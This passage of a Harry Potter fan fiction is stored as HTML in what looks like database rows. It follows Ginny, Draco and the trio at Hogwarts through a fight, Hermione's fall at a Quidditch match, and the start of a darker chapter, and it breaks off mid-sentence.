was.</p>\n\n<p></p>\n\n<p>All talk stopped as she passed by and it took every ounce of courage and control to keep walking and ignore the stares. It had taken almost five years and Colin&#8217;s gentle insistence for her to gain the self-assurance she had now; it would <i>not</i> be ruined because of some stupid photographs. The Potions classroom was just a little further, if she could just sit down and get lost in her textbook . . .</p>\n\n<p></p>\n\n<p>&#8220;Mmmn, Weasley. <i>Loved</i> the one of you and the Patil girls draped over that sofa like the tarts you are. Now I&#8217;ll have something to bait my mastiffs into mating with at home.&#8221; The words were spoken softly into her ear and she stopped. The warm breath of the speaker was still moist on her neck. He <i>was</i> the one who stole the photographs! Ron had been right all along, but how had it been done?</p>\n\n<p></p>\n\n<p>Ginny turned round quickly as Draco was straightening up, grinning with sharp, white teeth. &#8220;You stole Colin&#8217;s pictures!&#8221;</p>\n\n<p></p>\n\n<p>This accusation received nothing but a haughty smirk in return. Ginny looked up and realised that her head only reached just above chest height on the arrogant beast. But her arms were at exactly the right level . . .</p>\n\n<p></p>\n\n<p>&#8220;At least <i>you</i> won&#8217;t be mating anymore.&#8221; She had the satisfaction of watching the puzzlement shift his features before pulling back her fist to slam into his crotch. The boy crumpled and almost fell on top of her before she regained the good sense to step back. He laid there, holding his goods, face purple. &#8220;You&#8217;ll pay for that, you little <i>bitch</i>.&#8221;</p>\n\n<p></p>\n\n<p>Ginny had to admire the fact that his words weren&#8217;t squeaky like Ron&#8217;s had been when she&#8217;d done the same thing to him last year, but were instead a breathy hiss. People gathered in a ring, watching as Draco writhed on the floor in agony. She glanced around, thankful that Ron wasn&#8217;t nearby to &#8216;protect&#8217; her from Malfoy&#8217;s wrath. Besides, it wasn&#8217;t as if he was going to be able to move anytime soon. She smiled sweetly down at him and blew a mocking kiss.</p>\n\n<p></p>\n\n<p>&#8220;It&#8217;s been fun, Malfoy. Remind me to<font face="Times New Roman">&#8212;</font> ahhh!&#8221; The world tumbled end over end as Draco grabbed her ankle and dragged her onto the floor, the back of her head clunking painfully on the hard, stone floor. </p>\n\n<p></p>\n\n<p>His face was pressed close as he whispered almost into her mouth. &#8220;You aren&#8217;t going anywhere, Weasley.&#8221;</p>\n\n<p></p>\n\n<p>Draco sat up and flipped her body over his lap. Ginny thrashed wildly about and she could feel him grunt as he struggled to hold her down. She could just see as he raised his large, long fingered hand and paddled her thoroughly on the bottom like a small child. The fact that he had just been embarrassed was nothing to the ridicule she would garner from this. More ridicule, blast him. Malfoy soon pushed her off of him and stood up, watching as she rubbed her backside fiercely.</p>\n\n<p></p>\n\n<p>&#8220;Now hurry along, little girl. Maybe next time you&#8217;ll remember that you shouldn&#8217;t try to run with the big boys.&#8221;</p>\n\n<p></p>\n\n<p>Ginny glared up at him from her position on the floor and watched as he swept out of the dungeons toward wherever he had been going in the first place. The crowds soon dispersed, guffawing and shaking their heads. Not only had she hit her head and been spanked like a two year-old in front of her peers, but now Ginny was late for her Potions exam.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>It had been a long day and Draco sighed wearily as he flopped down on the green leather sofa in the empty Slytherin common room. The hard-won clarity of the morning had been reduced so far that it took every ounce of control he had not to break into tears. So it stood to reason that he didn&#8217;t want to deal with Pansy tonight when she slithered down the stairs.</p>\n\n<p></p>\n\n<p>&#8220;Oh Dray-co! You look so worn out! Let me kiss you all better.&#8221; She sat down on his lap, uninvited, and tried to kiss him on the lips. Draco allowed a hiss of pain escape and shoved her off onto the floor.</p>\n\n<p></p>\n\n<p>&#8220;Get off me, woman!&#8221; He rubbed at his crotch slightly and winced.</p>\n\n<p></p>\n\n<p>&#8220;Poor Dray-co, are you still hurting?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What do you think, you twat?&#8221; he ground out.</p>\n\n<p></p>\n\n<p>She tilted her head to the side, allowing hands to support her weight on the cold stone floor. &#8220;You must be really angry at Potter to have sold those pictures to <i>Playwizard</i>. When that little weasel tells him it was you, he&#8217;ll have your rocks on a stick.&#8221;</p>\n\n<p></p>\n\n<p>Draco shoved a hand through his hair, disrupting its usual coiffed perfection. &#8220;You think I don&#8217;t know that?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Then why did you tell her?&#8221; she persisted.</p>\n\n<p></p>\n\n<p>&#8220;I didn&#8217;t tell her outright. I just wanted a good laugh was all.&#8221;</p>\n\n<p></p>\n\n<p>Pansy narrowed her eyes and took in his form. &#8220;You&#8216;ve been acting odd lately. What happened to you?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Nothing&#8217;s <i>happened</i> to me. I&#8217;ve just been tired is all.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Mmn-hmmn. It isn&#8217;t like you to give away the game before you&#8217;re ready to do so.&#8221;</p>\n\n<p></p>\n\n<p>Draco grunted in response and ignored Pansy, staring into the fire. </p>\n\n<p></p>\n\n<p>&#8220;You know,&#8221; she murmured, touching a hand to his thigh and slipping it further up. &#8220;I think I know just what you need.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Not tonight, Pansy. I&#8216;m weary.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You don&#8217;t have to do anything but sit there.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I said not tonight!&#8221; he snapped. Pansy leaned back, her face openly fearful.</p>\n\n<p></p>\n\n<p>&#8220;You <i>are</i> different, Draco.&#8221; She actually forgot to say his name in an affected way, eyes widening. &#8220;Crabbe and Goyle say that you won&#8217;t let them walk with you anymore and you actually received house points for saving that chit&#8217;s life!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Crabbe and Goyle irritate me even more than you do. And as for the Weasley girl, do you really think I wouldn&#8217;t have been punished if I just pushed her off of my broom?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;W-well . . .&#8221; she floundered, her fingers twisting in the rug under her hand.</p>\n\n<p></p>\n\n<p>&#8220;Exactly. Now if you don&#8217;t mind, I was busy before you came in flouting your non-existent charms.&#8221;</p>\n\n<p></p>\n\n<p>Pansy jumped to her feet, facial flesh quivering with rage. &#8220;I&#8217;m never sleeping with you again, Draco Malfoy. <i>Never</i>!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Next time you make a threat, Pansy <i>darling</i>, take away something other than that over-used little quim of yours. Because frankly, I was starting to lose interest anyway.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I hate you!&#8221; Pansy shouted, tears streaming down her flushed cheeks as she ran up the stairs to the girl&#8216;s dormitories.</p>\n\n<p></p>\n\n<p>&#8220;Ah well, nice to see I still haven&#8217;t lost my touch,&#8221; Draco whispered to himself, absorbed once more by the green flames of the fireplace.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;You punched Malfoy in the rocks? Are you mad?&#8221;</p>\n\n<p></p>\n\n<p>Ginny sighed, trust Ron to overreact. &#8220;What did you expect me to do after what he said to me?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You should have come and found me instead of clocking him like that. You were asking for trouble.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Well, I found it apparently. Anyway, it doesn&#8217;t matter, what&#8217;s done is done. And I&#8216;m perfectly capable of defending myself, thanks much.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Do you realise that you&#8217;ve practically started a war? Malfoy will never leave us alone now. After what Dumbledore said<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;Have you already forgotten that he was the one who sold those pictures of me?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Well, no<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;<i>Malfoy</i> is the one who started this, not me.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But Gin<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;But Gin, nothing!&#8221; she snapped fiercely. &#8220;I&#8217;m not a little girl anymore, Ron.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You certainly are little! Malfoy is at least three inches taller than me and I&#8217;m six-foot! I don&#8217;t care how well you think you can defend yourself, you are still too small to be running around pounding people in the goods. You&#8217;re lucky that all he did was spank you.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;It was enough,&#8221; Ginny admitted, ruefully rubbing her bottom. &#8220;He has hands like an iron skillet.&#8221;</p>\n\n<p></p>\n\n<p>Ron shook his head. &#8220;I&#8217;m going to go have a talk with Harry, if he&#8217;ll listen. We have to be prepared for what Malfoy might do next, and what <i>I&#8216;m </i>going to do to Malfoy.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;It&#8217;ll be easy enough for him to do something with Harry and Hermione fighting like they are.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You can&#8217;t fight with someone if you don&#8217;t acknowledge they exist,&#8221; Ron stated, his face suddenly even and vacant.</p>\n\n<p></p>\n\n<p>&#8220;I think Hermione went over the top. If she really wants to help Harry, she should just talk to him instead of screaming her head off and pretending he&#8216;s not there. She&#8217;s scared of losing him and thinks that this is the best way but it&#8217;s not.&#8221;</p>\n\n<p></p>\n\n<p>Ron visibly flinched at her words but hung his head instead of saying anything further on the subject. &#8220;I&#8217;m going to go and talk with Harry.&#8221;</p>\n\n<p></p>\n\n<p>As Ron made his way out of the room, Ginny called out. &#8220;See if you can get him to talk to Hermione and I&#8217;ll see what I can do with her.&#8221;</p>\n\n<p></p>\n\n<p>Ron stood there, staring blankly at his sister a moment before nodding. &#8220;Yeah, you do that.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;Hermione, you <i>have</i> to talk to Harry. This has been dragging out for far too long.&#8221;</p>\n\n<p></p>\n\n<p>The girl sniffed and tossed her long, frizzy brown curls over one shoulder. &#8220;I have nothing to say to that disgusting drunkard.&#8221;</p>\n\n<p></p>\n\n<p>Ginny pursed her lips and studied Hermione for a moment before speaking. &#8220;You know, it isn&#8217;t like you to pick a fight with Harry. Usually it&#8217;s Ron you&#8217;re mad at, this just doesn&#8217;t feel right to me.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, Ginny,&#8221; Hermione whispered severely, turning to look her directly in the eyes. &#8220;You know what doesn&#8217;t feel right? Harry drowning his problems in a bottle instead of talking it over with Ron or I. Not only that, but when he <i>does</i> finally start talking about what&#8216;s bothering him, he starts in on the same rubbish we&#8217;ve hashed and rehashed for <i>years</i>!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Then it doesn&#8217;t take a genius to figure out what&#8217;s been after him lately.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But I can&#8217;t live my life when Harry is always going on about You-Know-Who! It makes me wonder why I even bother studying for my N.E.W.T&#8217;s at all.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;So <i>that&#8217;s</i> what has you so upset. You&#8217;re afraid that Harry&#8217;s right and he won&#8217;t be able to stop You-Know-Who from killing you.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Not just me, everyone. I&#8217;m afraid for everyone and I can&#8217;t<font face="Times New Roman">&#8212;</font> I can&#8217;t <i>live </i>this way. The constant fear, looking over my shoulder for You-Know-Who in every corner. It makes me wonder why I haven&#8217;t run screaming back to the Muggle world. Then Ron is always saying something about how doom and gloom Harry is and how he drowns his troubles in a few pints and a few girls down in Hogsmeade almost every weekend. I can&#8217;t bring myself to call him on it, and it isn&#8217;t even really my business what he does in Hogsmeade, but I&#8217;m worried about him. We&#8216;re all falling apart.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Hermione, just go and talk things out with Harry. You&#8217;ll feel better. If You-Know-Who really <i>is</i> going to do something soon, then this is certainly not the time to be bickering with your friends.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I suppose you&#8217;re philosophy is something like &#8216;make the best of the time you have, eh?&#8221; Hermione queried contritely.</p>\n\n<p></p>\n\n<p>&#8220;Something like that.&#8221; Ginny made a shooing motion with her hands. &#8220;Now go on up there and talk to Harry and Ron, maybe this can all be worked out before Christmas hols and we can have some fun this year.&#8221;</p>\n\n<p></p>\n\n<p>Hermione smiled in a heartbreakingly true way and made her way out of the common room and up to the boy&#8217;s dormitories while Ginny took the opportunity to get some Potions homework done.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>It was nearing midnight when Ginny put the finishing touches on the two foot Asphodel essay Snape wanted as punishment for being late to class that morning. Ginny rubbed the back of her neck and stretched, glancing up to the boy&#8217;s dormitory entrance. Things had been quiet up there for some time now and it made her curious.</p>\n\n<p></p>\n\n<p>She pressed the blotter firmly over her Potions essay and rolled it up. No one else was in the common room this late except for Neville who had fallen asleep over his Herbology homework on the floor in front of the fire.</p>\n\n<p></p>\n\n<p>Carefully, Ginny stepped over Neville and made her way upstairs to the seventh-year boy&#8217;s dorm. The door creaked as she opened it and there was mumbling from Seamus&#8217; bed as he turned over, clutching a stuffed Quaffle to his chest and burying his face in it contentedly. Ron and Neville&#8217;s beds were empty, but Harry&#8217;s had the curtains partly drawn. Ginny lifted her hand to draw them back and smiled softly when she took in the scene before her.</p>\n\n<p></p>\n\n<p>Harry was on the left side, glasses halfway down his nose, his face relaxed and tranquil. Hermione laid in the middle, squished between the two boys with an arm around each of their shoulders protectively. Ron curled up into her side, resting his flushed and sticky face on top of her stomach.</p>\n\n<p></p>\n\n<p>Ginny sighed, feeling left out, but happy that they had all resolved the problem. Things were back to normal again. Hermione and the boys always had a closeness that became less restrained as the years passed and danger brought them nearer to each other. No matter how much Harry tried to keep them at a distance.</p>\n\n<p></p>\n\n<p>Most people would see their behaviour as odd or even aberrant. But this was as natural as breathing to the Trio. Trio. That is what they were, and there was no room left for a fourth to join them on the bed and make it a Quartet.</p>\n\n<p></p>\n\n<p>Ginny pulled the quilt her mum had made for Harry the year before out of his trunk and draped it over their slumbering bodies, careful not to wake them. She gave in to her urge to smooth Ron&#8217;s hair before wandering back down the stairwell. Ginny woke Neville from his place before the fire and scooted him along to bed before going upstairs herself.</p>\n\n<p></p>\n\n<p>Huddled away from the creeping autumn chill by thick blankets and curtains, Ginny wished, not for the first time, that she had more friends like Hermione and Harry were to Ron.</p></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 4, ' <font size="4"><p>Weeks went by and things returned to normal. Harry didn&#8217;t spend every night in the loving arms of Ogden&#8217;s Old Fire Whiskey and Hermione stopped pretending that he didn&#8217;t exist. Ron put the fear of Merlin in the entire male population of the school in regards to treating Ginny respectfully and the days wore on.</p>\n\n<p></p>\n\n<p>Christmas holidays were closer than ever, and in the mad rush to do well on mid-term exams, Draco Malfoy actually forgot to berate Harry and his friends at every given opportunity. That didn&#8217;t mean he wouldn&#8217;t do it again, though.</p>\n\n<p></p>\n\n<p>All in all, life was good if not exactly relaxing. Quidditch matches were still brutally competitive as ever and Ginny strained to overcome her newfound fear of brooms.</p>\n\n<p></p>\n\n<p>&quot;Ginny, it isn&#8217;t like it&#8217;s <i>Malfoy&#8217;s</i> broom or anything. Just fly the sodding thing. It&#8217;s the last match before hols and then you can practice some more at home. Harry&#8217;s had you on the bench since that Slytherin game and you <i>have</i> to play today.&quot;</p>\n\n<p></p>\n\n<p>&quot;Why did Claire have to be sick today? Couldn&#8217;t she have been sick tomorrow?&quot;</p>\n\n<p></p>\n\n<p>Ron rolled his eyes. &quot;Like she really woke up and decided `oh, I think I&#8217;ll be sick so Ginny has to get her fat arse off of the bench&#180;.&quot;</p>\n\n<p></p>\n\n<p>&quot;My arse is not fat!&quot;</p>\n\n<p></p>\n\n<p>&quot;It will be if you don&#8217;t get off it and get some exercise. At least then I won&#8217;t have to worry about Malfoy selling more pictures of you to <i>Playwizard</i>.&quot;</p>\n\n<p></p>\n\n<p>&quot;How dare you!&quot; Ginny shrieked as she rapped Ron smartly on the head with her broom and turned to walk away, hoping that her ruffled dignity was apparent from the straight set of her shoulders.</p>\n\n<p></p>\n\n<p>&quot;Oi, Ginny!&quot; Harry called from across the pitch. &quot;I&#8217;m glad to see that you&#8217;re feeling better, but could you please not hit my Chaser over the head? We&#8217;ve still a game to play.&quot;</p>\n\n<p></p>\n\n<p>Ginny grumbled as she mounted her broom, resisting the urge to send Harry a rude gesture in reply. At least she could content herself in the fact that this game was against Hufflepuff instead of Slytherin. It could be done, just a friendly game of Quidditch and then tomorrow they would all be leaving for the Burrow.</p>\n\n<p></p>\n\n<p>She looked up into the stands to see Hermione fluttering her hand madly and Ginny smiled, waving back as she took off from the ground. Colin was somewhere close to Hermione, a few rows back, and was staring lustily at Ernie MacMillan, totally ignoring Ginny.</p>\n\n<p></p>\n\n<p>Madame Hooch pitched the Quaffle high into the air and Ginny took a deep breath before pelting after it, not having time to wave at Colin. Justin Finch-Fletchley grabbed it first as he whooped and raced off towards the Gryffindor goal. Narrowing her eyes, Ginny leaned forward over her broom to gain speed and stopped in mid-air as a flashback of being bent over by Malfoy flooded her mind. She shook her head to clear it and pushed blindly forward. &#8216;He isn&#8217;t here, just keep playing,&#8217; Ginny berated herself. Justin was far ahead and Ron and Seamus were already catching him up.</p>\n\n<p></p>\n\n<p>Ginny spared a glance at Hermione for support and drew up short when she saw Malfoy talking to her. Whatever it was that he said must have hurt because Hermione was huddling down into her robes as far as possible. As he leaned forward to smirk superiorly into her face, Ginny&#8217;s temper snapped and she flew straight for the stands, regardless of the fact that she was in the middle of a Quidditch match.</p>\n\n<p>Hermione had already had enough and was making her way past Malfoy to get down the stairs when it happened.</p>\n\n<p></p>\n\n<p>Tripping over someone&#8217;s rucksack, Hermione&#8217;s arms wind-milled for only a second before she lost balance completely and fell backwards over the railing. She screamed once and was plunging towards the ground at a great rate of speed. Malfoy&#8217;s mouth was a perfect `o&#180; as he rushed forward to catch her but too late.</p>\n\n<p></p>\n\n<p>Ginny was close by and threw her broom recklessly into a downward spiral, shouting Hermione&#8217;s name and praying to catch her before the earth did. For a moment, about twenty feet from the ground, Ginny could feel Hermione&#8217;s hand touch her own and gripped it tightly to slow her descent. Closer, closer, closer, Ginny told herself. But she wasn&#8217;t fast enough and Hermione slipped, stopped, and bounced once before becoming very still.</p>\n\n<p></p>\n\n<p>Just narrowly avoiding the ground herself, Ginny pulled up and landed, jumping off of her broom to cradle Hermione in her arms. Harry and Ron weren&#8217;t very far behind and the latter leapt from his broom before it was less than three feet from the ground.</p>\n\n<p></p>\n\n<p>&quot;Hermione!&quot; was echoed by both of the boys, a cry that pierced the crowd&#8217;s whispering, as they knelt beside the motionless form.</p>\n\n<p></p>\n\n<p>&quot;I-I tried to catch her, but I wasn&#8217;t fast enough and my hands slipped. I&#8217;m so sorry<font face="Times New Roman">&#8212;</font> &quot; This last word was partially cut off as a sob escaped Ginny&#8217;s mouth and she clapped a hand over it, rocking Hermione back and forth. Madame Hooch was running across the pitch with Madame Pomfrey in tow.</p>\n\n<p></p>\n\n<p>&quot;What happened here?&quot; Madame Hooch demanded.</p>\n\n<p></p>\n\n<p>&quot;Hermione tripped and fell over the railing. I couldn&#8217;t catch her in time,&quot; Ginny cried, holding onto Hermione more protectively than before.</p>\n\n<p></p>\n\n<p>&quot;I see. You shouldn&#8217;t have moved her, Miss Weasley. Now put her down so Poppy can have a look,&quot; Hooch said brusquely as she removed Ginny&#8217;s arms from around Hermione and placed them by her sides.</p>\n\n<p></p>\n\n<p>Madame Pomfrey looked down at Hermione and shook her head, allowing her wand to pass over Hermione&#8217;s body and clucking when the light encasing the tip turned a different colour.</p>\n\n<p></p>\n\n<p>&quot;She isn&#8217;t dead. But there&#8217;s some internal bleeding and broken bones. I may have to call someone in from St. Mungo&#8217;s to operate. You should feel lucky that you slowed her fall or she&#8217;d be dead now.&quot;</p>\n\n<p></p>\n\n<p>&quot;But she&#8217;ll be all right?&quot; Harry pleaded, gripping the tiny woman by the shoulders.</p>\n\n<p></p>\n\n<p>&quot;Maybe, it all depends on how fast we can get that bleeding under control. A human body can<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;What are you waiting for then! Take her back to Hogwarts and call that fellow from St. Mungo&#8217;s!&quot; Ron shouted, cutting off Madame Pomfrey.</p>\n\n<p></p>\n\n<p>The nurse frowned at him but didn&#8217;t comment as she created a stretcher and made it float over the pitch towards the castle and into the Infirmary.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&quot;How bloody long does it take to do surgery on someone?&quot; Ron asked, pushing a freckled hand through his limp hair.</p>\n\n<p></p>\n\n<p>&quot;Don&#8217;t say bloody,&quot; was the only response Ron received from Harry.</p>\n\n<p></p>\n\n<p>Ginny was just as worried as the other two, who had resorted to pacing and staring blankly at the walls. Harry had taken it upon himself to make Hermione&#8217;s presence felt by correcting Ron periodically when he wasn&#8217;t blanking out, and Ron grumbled and swore as he walked from the Infirmary doors and back to the wall in a dizzy circuit.</p>\n\n<p></p>\n\n<p>It was early evening and Ginny&#8217;s stomach was rumbling. She pushed herself off of the bench opposite of the Infirmary and stretched her aching limbs.</p>\n\n<p></p>\n\n<p>&quot;I&#8217;m going down to the kitchens to get us something to eat. Any preferences?&quot; Her enquiry was met with silence on Harry&#8217;s part and Ron shook his head.</p>\n\n<p></p>\n\n<p>&quot;I couldn&#8217;t think of eating anything right now, my stomach is all tied up in knots.&quot;</p>\n\n<p></p>\n\n<p>Ginny nodded. &quot;I&#8217;ll bring back some sandwiches and juice, just in case.&quot;</p>\n\n<p></p>\n\n<p>The hallways were dark and rush torches were spaced neatly down each side of the corridor all along this wing. What light they cast was dim and flickering at best. Just as she was turning the corner en route to the kitchens, a tall figure shrouded in black knocked her down. Ginny started to apologise before she realised that they had knocked <i>her</i> down and stopped. Then she caught a glimpse of their face and froze.</p>\n\n<p></p>\n\n<p>&quot;Malfoy?&quot; she queried, turning her head to the side just to make sure that Ron wasn&#8217;t going to make an appearance and then looked up again toward the cloaked figure. His face was half-hidden under his hood and what little there was showing didn&#8217;t give much indication of his thoughts, if any.</p>\n\n<p></p>\n\n<p>&quot;What are you doing here? Come to finish her off?&quot; Ginny sneered as she put her hands down on the rough stones to help her stand back up. Malfoy didn&#8217;t move to offer assistance, but pulled even deeper into his cloak.</p>\n\n<p></p>\n\n<p>&quot;I didn&#8217;t mean for her to fall,&quot; he said so faintly that Ginny had a difficult time making out the words.</p>\n\n<p></p>\n\n<p>&quot;You didn&#8217;t push her but you may as well have done.&quot;</p>\n\n<p></p>\n\n<p>&quot;I tried to catch her!&quot; Draco defended angrily.</p>\n\n<p></p>\n\n<p>&quot;I know,&quot; Ginny sighed. &quot;I saw you reach for her. But we were both too late.&quot; She looked up into his face but could see nothing but darkness. &quot;Anyway, why do you care? She&#8217;s just a <i>Mudblood</i>. I thought Malfoys didn&#8217;t associate with <i>her</i> kind.&quot;</p>\n\n<p></p>\n\n<p>&quot;I <i>don&#8217;t</i> care.&quot;</p>\n\n<p></p>\n\n<p>&quot;Then why are you here?&quot;</p>\n\n<p></p>\n\n<p>Draco actually flinched at this and Ginny tried to blink the surprise from her expression. &quot;Are you feeling guilty, Malfoy?&quot; she ventured.</p>\n\n<p></p>\n\n<p>&quot;Of course not,&quot; he snapped, but the response lacked his usual bite and Ginny could see how his shoulders were slouching down. It wasn&#8217;t like him at all.</p>\n\n<p></p>\n\n<p>&quot;You do. You feel guilty because you upset her so badly that she lost her balance and fell. <i>You </i>feel bad because you couldn&#8217;t catch her before she<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p>&quot;Shut up,&quot; he whispered hoarsely. &quot;Just shut up. You don&#8217;t know anything about me, so don&#8217;t presume.&quot;</p>\n\n<p></p>\n\n<p>&quot;Why do you care, Malfoy?&quot; she persisted. &quot;Why do you care what happens to one of us?&quot;</p>\n\n<p></p>\n\n<p>Draco opened his mouth to respond and shut it tightly as Ron came skidding around the corner, not noticing him there.</p>\n\n<p></p>\n\n<p>&quot;Ginny, she&#8217;s awake! We can go in to see her now.&quot;</p>\n\n<p></p>\n\n<p>Ginny turned back to say something to Malfoy but he was gone. She peered into the shadows, but there was nothing so she allowed Ron to guide her back to the Infirmary.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&quot;How are you feeling, Hermione?&quot; Ginny asked, taking up her left hand as the right was being occupied in Harry&#8217;s tight grip.</p>\n\n<p></p>\n\n<p>She turned her head slightly to the left and smiled weakly. &quot;I feel like I was hit by a Bludger.&quot;</p>\n\n<p></p>\n\n<p>Ginny laughed through thankful tears and gave her hand a squeeze. &quot;No, just the ground.&quot;</p>\n\n<p></p>\n\n<p>Hermione nodded and closed her eyes wearily. &quot;Where&#8217;s Ron?&quot; she asked, eyes still closed.</p>\n\n<p></p>\n\n<p>&quot;I&#8217;m here, Hermione.&quot; Ron sat on the bed when Ginny rose to vacate the coveted spot. Hermione nodded again and relaxed more deeply into the bed. </p>\n\n<p></p>\n\n<p>Before she had the chance to fall asleep, Ginny asked: &quot;What did Malfoy say to make you so upset?&quot;</p>\n\n<p></p>\n\n<p>Hermione blinked her eyes at the question and shrugged. &quot;It wasn&#8217;t important, just Malfoy being a Malfoy.&quot;</p>\n\n<p></p>\n\n<p>Ron was quickly becoming purple with rage and Harry&#8217;s hand shook on top of Hermione&#8217;s coverlet.</p>\n\n<p></p>\n\n<p>&quot;What did he <i>say</i>, Hermione?&quot; Harry ground out. &quot;I want to know what to tell him while I&#8217;m mashing his aristocratic nose into the floor.&quot;</p>\n\n<p></p>\n\n<p>Ginny almost said that Malfoy had tried to catch her, but kept silent as Hermione began to speak.</p>\n\n<p></p>\n\n<p>&quot;He said that . . .&quot; she swallowed. &quot;He said that I&#8217;m a tease.&quot;</p>\n\n<p></p>\n\n<p>Ron drew back and gaped like a fish. &quot;A <i>tease</i>? How are you a tease?&quot;</p>\n\n<p></p>\n\n<p>&quot;Because I&#8217;m always, you know, I&#8217;m always hugging you two and being affectionate.&quot;</p>\n\n<p></p>\n\n<p>&quot;That doesn&#8217;t mean anything, we&#8217;re just close is all,&quot; Harry said, leaning back against the chair with his arms crossed. He had dropped Hermione&#8217;s hand in the process and now had a very dark look upon his face.</p>\n\n<p></p>\n\n<p>Ron had picked up her other hand and now held them both. &quot;Hermione, don&#8217;t ever listen to something that stupid arse says again. Do you understand?&quot; He shook her hands slightly for emphasis and placed a gentle kiss over her knuckles. &quot;He&#8217;s only jealous because he doesn&#8217;t have a<font face="Times New Roman">&#8212;</font> a friend as good as you.&quot;</p>\n\n<p></p>\n\n<p>Harry snorted, &quot;I don&#8217;t think Malfoy has <i>any</i> friends.&quot;</p>\n\n<p></p>\n\n<p>Ginny decided to broach a new topic. &quot;Are you still coming to the Burrow for Christmas, Hermione?&quot;</p>\n\n<p></p>\n\n<p>&quot;Oh I don&#8217;t know, Ginny. I&#8217;m still feeling awfully weak and Madame Pomfrey said that I have to be here for her to watch over me for at least another two days just to make sure that I don&#8217;t bleed anymore.&quot;</p>\n\n<p></p>\n\n<p>&quot;We&#8217;ll stay here with you then,&quot; Ron said quickly.</p>\n\n<p></p>\n\n<p>Hermione only shook her head. &quot;No, you all should go; I&#8217;ll be along before Christmas. Just as long as Mrs Weasley doesn&#8217;t mind that I sleep most of the time.&quot;</p>\n\n<p></p>\n\n<p>&quot;She won&#8217;t mind, Hermione. In fact, I&#8217;m going to owl Mum right now and let her know about what happened.&quot; Ginny dipped her head down and gave Hermione a quick kiss on the forehead, followed by Harry and Ron.</p>\n\n<p></p>\n\n<p>&quot;We&#8217;ll leave so you can rest now,&quot; Harry said with one last pat to her hand. Ron didn&#8217;t want to go, but Ginny grabbed his arm and dragged him away.</p>\n\n<p></p>\n\n<p>&quot;Come on, Ron. We&#8217;ll write to Mum and ask her to set Hermione up in Bill&#8217;s room since he won&#8217;t be home for the holidays.&quot;</p>\n\n<p></p>\n\n<p>Ron nodded and allowed Ginny to lead he and Harry out of the sickroom.</p>\n\n<p></p>\n\n<p></p></font>\n\n\n\n '),
	(271, 5, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">Authour&#8217;s Note: This is a particularly sinister chapter. Warnings for torture and dark themes. The linked pictures I only thought necessary to avoid being peppered with questions from people who don&#8217;t know what certain objects are, or what they are used for. I apologise if it seems a bit heavy-handed to some of you.</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<i><p>&quot;Be still, be calm, be quiet now, my precious boy. <br> Don\'t struggle like that or I will only love you more. <br> For it\'s much too late to get away or turn on the light. <br> The spiderman is having you for dinner tonight.&quot;</p>\n\n</i><p>~ The Cure - Lullaby </p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;Father, I don&#8217;t understand why we have to do this <i>now</i>.&#8221;</p>\n\n<p></p>\n\n<p>Draco Malfoy stood in the middle of his father&#8217;s study, covered in chain mail with an ornate billhook in one hand. The mid-afternoon sun was bright and it bathed him in gold as he paced across the basket-weave parquet flooring.</p>\n\n<p></p>\n\n<p>&#8220;You must know how to defend yourself properly if the time ever comes that you can not use magic.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But these are Muggle weapons, and ancient ones at that.&#8221; Draco looked down at the pole in his hand, his brows furrowed with contempt. &#8220;It isn&#8217;t very likely I&#8217;ll be able to get my hands on a billhook in the middle of a fight. Besides, I hardly think it appropriate to be cowering behind metal chain like a frightened child.&#8221;</p>\n\n<p></p>\n\n</font><p><font size="4">&#8220;Your opinion on the subject matters little. You will do this. Now, disarm me if you can.&#8221; Lucius sniffed, holding his mace 